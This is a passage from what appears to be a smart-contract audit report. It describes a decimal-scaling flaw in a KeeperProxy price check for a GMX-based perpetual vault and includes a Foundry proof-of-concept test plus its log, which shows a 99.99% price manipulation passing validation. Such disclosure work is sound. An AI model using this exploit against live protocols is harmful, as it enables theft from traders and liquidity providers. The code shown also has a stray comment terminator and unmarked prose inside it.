When combined, these factors let an attacker supply carefully chosen price values that pass the offset comparison yet diverge substantially from true market pricing.
This vulnerability facilitates price manipulation and can compromise the integrity of trades and positions. Attackers can place or close positions at skewed prices with a 99% different that appear valid to the KeeperProxy, extracting value from the protocol and harming honest traders or liquidity providers through artificially favorable price executions.
This results in a massive 99.99% price manipulation that is completely invisible to validation.
pragma solidity ^0.8.4;
import {Test, console} from "forge-std/Test.sol";
import "forge-std/StdCheats.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {GmxProxy} from "../contracts/GmxProxy.sol";
import {KeeperProxy} from "../contracts/KeeperProxy.sol";
import {PerpetualVault} from "../contracts/PerpetualVault.sol";
import {VaultReader} from "../contracts/VaultReader.sol";
import {MarketPrices, PriceProps, MarketProps} from "../contracts/libraries/StructData.sol";
import {MockData} from "./mock/MockData.sol";
interface AggregatorV2V3Interface {
function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80);
}
interface IERC20Meta {
function decimals() external view returns (uint8);
}
contract PriceManipulationPOC is Test, ArbitrumTest {
address payable vault;
address keeper;
MockData mockData;
address constant LOW_DECIMAL_TOKEN = address(0x1234);
address constant LOW_DECIMAL_FEED = address(0x5678);
uint256 public scaledOriginal;
uint256 public scaledManipulated;
uint256 public threshold;
function setUp() public {
address ethUsdcMarket = address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336);
address orderHandler = address(0xe68CAAACdf6439628DFD2fe624847602991A31eB);
address liquidationHandler = address(0xdAb9bA9e3a301CCb353f18B4C8542BA2149E4010);
address adlHandler = address(0x9242FbED25700e82aE26ae319BCf68E9C508451c);
address gExchangeRouter = address(0x900173A66dbD345006C51fA35fA3aB760FcD843b);
address gmxRouter = address(0x7452c558d45f8afC8c83dAe62C3f8A5BE19c71f6);
address dataStore = address(0xFD70de6b91282D8017aA4E741e9Ae325CAb992d8);
address orderVault = address(0x31eF83a530Fde1B38EE9A18093A333D8Bbbc40D5);
address gmxReader = address(0x5Ca84c34a381434786738735265b9f3FD814b824);
address referralStorage = address(0xe6fab3F0c7199b0d34d7FbE83394fc0e0D06e99d);
ProxyAdmin proxyAdmin = new ProxyAdmin();
GmxProxy gmxUtilsLogic = new GmxProxy();
bytes memory data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
address gmxProxy = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxy).transfer(1 ether);
KeeperProxy keeperLogic = new KeeperProxy();
data = abi.encodeWithSelector(
KeeperProxy.initialize.selector
);
keeper = address(
new TransparentUpgradeableProxy(
address(keeperLogic),
address(proxyAdmin),
data
)
);
address owner = KeeperProxy(keeper).owner();
KeeperProxy(keeper).setKeeper(owner, true);
KeeperProxy(keeper).setDataFeed(LOW_DECIMAL_TOKEN, LOW_DECIMAL_FEED, 86400, 500);
VaultReader reader = new VaultReader(
orderHandler,
dataStore,
orderVault,
gmxReader,
referralStorage
);
PerpetualVault perpetualVault = new PerpetualVault();
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
ethUsdcMarket,
keeper,
makeAddr("treasury"),
gmxProxy,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vault = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
mockData = new MockData();
vm.mockCall(
LOW_DECIMAL_TOKEN,
abi.encodeWithSelector(IERC20Meta.decimals.selector),
abi.encode(0)
);
vm.mockCall(
0xFdB631F5EE196F0ed6FAa767959853A9F217697D,
abi.encodeWithSelector(AggregatorV2V3Interface.latestRoundData.selector),
abi.encode(uint80(0), int256(0), uint256(block.timestamp - 3600), uint256(block.timestamp), uint80(0))
);
}
function test_Y7_DecimalScalingVulnerability_HighProfit() external {
console.log("\n=== PRICE MANIPULATION VULNERABILITY PROOF OF CONCEPT (Y7 - HIGH PROFIT) ===");
console.log("Demonstrating how decimal scaling in KeeperProxy._check() function can be exploited for significant profit");
uint8 tokenDecimals = 0;
uint256 scalingDivisor = 10 ** (30 - tokenDecimals - 8);
console.log("\nStep 1: Analyzing optimal token configuration for maximum profit");
console.log("Token with %s decimals - scaling divisor: 10^%s = %s", tokenDecimals, 30 - tokenDecimals - 8, scalingDivisor);
int256 chainlinkPrice = 1;
vm.mockCall(
LOW_DECIMAL_FEED,
abi.encodeWithSelector(AggregatorV2V3Interface.latestRoundData.selector),
abi.encode(uint80(0), chainlinkPrice, uint256(block.timestamp - 60), uint256(block.timestamp), uint80(0))
);
threshold = KeeperProxy(keeper).priceDiffThreshold(LOW_DECIMAL_TOKEN);
console.log("\nStep 2: Selected optimal configuration");
console.log("Token decimals: %s (fewer decimals = larger divisor = more manipulation)", tokenDecimals);
console.log("Token price: $%s (extremely low price maximizes percentage impact)", uint256(chainlinkPrice) / 10**8);
console.log("Price threshold: %s BPS", threshold);
Mathematical analysis for maximum profit:
For a token with d decimals and price P:
- Scaling divisor = 10^(30-d-8) = 10^(22-d)
- Maximum invisible manipulation = (10^(22-d) - 1) raw units
- Manipulation percentage = (10^(22-d) - 1) / (P * 10^d) * 100%
For a token with 0 decimals and price of 1 (in Chainlink 8-decimal format):
- Scaling divisor = 10^22
- Maximum invisible manipulation = (10^22 - 1) raw units
- Original price in raw units = 10^22
- Manipulated price in raw units = 2×10^22 - 1
- Manipulation percentage = 9999 BPS (99.99%)
This results in a massive 99.99% price manipulation that is completely invisible to validation!
*/
uint256 basePrice = uint256(chainlinkPrice) * scalingDivisor;
scaledOriginal = basePrice / scalingDivisor;
console.log("\nStep 3: Demonstrating high-profit manipulation through integer division vulnerability");
console.log("Original price (in correct decimals to match after scaling): %s", basePrice);
console.log("Scaled value (after division, as seen by KeeperProxy): %s (Chainlink: %s)", scaledOriginal, uint256(chainlinkPrice));
uint256 manipulatedPrice = basePrice + scalingDivisor - 1;
scaledManipulated = manipulatedPrice / scalingDivisor;
uint256 manipulationBps = (manipulatedPrice - basePrice) * 10000 / basePrice;
console.log("\nManipulated price: %s (original + maximum invisible manipulation)", manipulatedPrice);
console.log("Manipulation amount: +%s raw units", scalingDivisor - 1);
console.log("MANIPULATION PERCENTAGE: %s BPS", manipulationBps);
console.log("\nScaled value after manipulation (as seen by KeeperProxy): %s", scaledManipulated);
bool scaledMatches = scaledOriginal == scaledManipulated;
console.log("Do scaled values match despite manipulation? %s", scaledMatches ? "YES" : "NO");
(bool passedManipulated, string memory errorMsg) = verifyPriceCheck(LOW_DECIMAL_TOKEN, manipulatedPrice, chainlinkPrice);
(bool passedOriginal,) = verifyPriceCheck(LOW_DECIMAL_TOKEN, basePrice, chainlinkPrice);
console.log("\nStep 4: Validation results");
console.log("Original price passes validation: %s", passedOriginal ? "PASS" : "FAIL");
console.log("Manipulated price passes validation: %s", passedManipulated ? "PASS" : "FAIL");
if (!passedManipulated) console.log("Error: %s", errorMsg);
if (passedOriginal && passedManipulated) {
console.log("\nVULNERABILITY CONFIRMED WITH HIGH PROFIT POTENTIAL");
console.log("The manipulated price (%s%% higher) passes the same validation checks as the original price.", manipulationBps / 100);
}
console.log("\n=== ECONOMIC IMPACT ANALYSIS ===");
console.log("With this configuration, each transaction can manipulate prices by %s%%", manipulationBps / 100);
console.log("Even with more typical token configurations, this vulnerability presents arbitrage opportunities");
console.log("because the manipulation can be repeated across multiple transactions.");
}
function verifyPriceCheck(address token, uint256 price, int256 chainlinkPrice) internal view returns (bool success, string memory errorMessage) {
try this.simulateCheck(token, price, chainlinkPrice) {
return (true, "");
} catch Error(string memory reason) {
return (false, reason);
} catch (bytes memory) {
return (false, "Unknown error");
}
}
function simulateCheck(address token, uint256 price, int256 chainlinkPrice) external view {
uint256 decimals = 30 - IERC20Meta(token).decimals();
uint256 scaledPrice = price / 10 ** (decimals - 8);
uint256 diff;
if (scaledPrice > uint256(chainlinkPrice)) {
diff = scaledPrice - uint256(chainlinkPrice);
} else {
diff = uint256(chainlinkPrice) - scaledPrice;
}
uint256 diffPercentage = diff * 10000 / uint256(chainlinkPrice);
uint256 threshold = KeeperProxy(keeper).priceDiffThreshold(token);
require(diffPercentage < threshold, "price offset too big");
}
}
Ran 1 test for test/PriceManipulationPOC.t.sol:PriceManipulationPOC
[PASS] test_Y7_DecimalScalingVulnerability_HighProfit() (gas: 159107)
Logs:
=== PRICE MANIPULATION VULNERABILITY PROOF OF CONCEPT (Y7 - HIGH PROFIT) ===
Demonstrating how decimal scaling in KeeperProxy._check() function can be exploited for significant profit
Step 1: Analyzing optimal token configuration for maximum profit
Token with 0 decimals - scaling divisor: 10^22 = 10000000000000000000000
Step 2: Selected optimal configuration
Token decimals: 0 (fewer decimals = larger divisor = more manipulation)
Token price: $0 (extremely low price maximizes percentage impact)
Price threshold: 500 BPS
Step 3: Demonstrating high-profit manipulation through integer division vulnerability
Original price (in correct decimals to match after scaling): 10000000000000000000000
Scaled value (after division, as seen by KeeperProxy): 1 (Chainlink: 1)
Manipulated price: 19999999999999999999999 (original + maximum invisible manipulation)
Manipulation amount: +9999999999999999999999 raw units
MANIPULATION PERCENTAGE: 9999 BPS
Scaled value after manipulation (as seen by KeeperProxy): 1
Do scaled values match despite manipulation? YES
Step 4: Validation results
Original price passes validation: PASS
Manipulated price passes validation: PASS
VULNERABILITY CONFIRMED WITH HIGH PROFIT POTENTIAL
The manipulated price (99% higher) passes the same validation checks as the original price.
=== ECONOMIC IMPACT ANALYSIS ===
With this configuration, each transaction can manipulate prices by 99%
Even with more typical token configurations, this vulnerability presents arbitrage opportunities
because the manipulation can be repeated across multiple transactions.
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.15ms (1.75ms CPU time)
Ran 1 test suite in 408.30ms (10.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)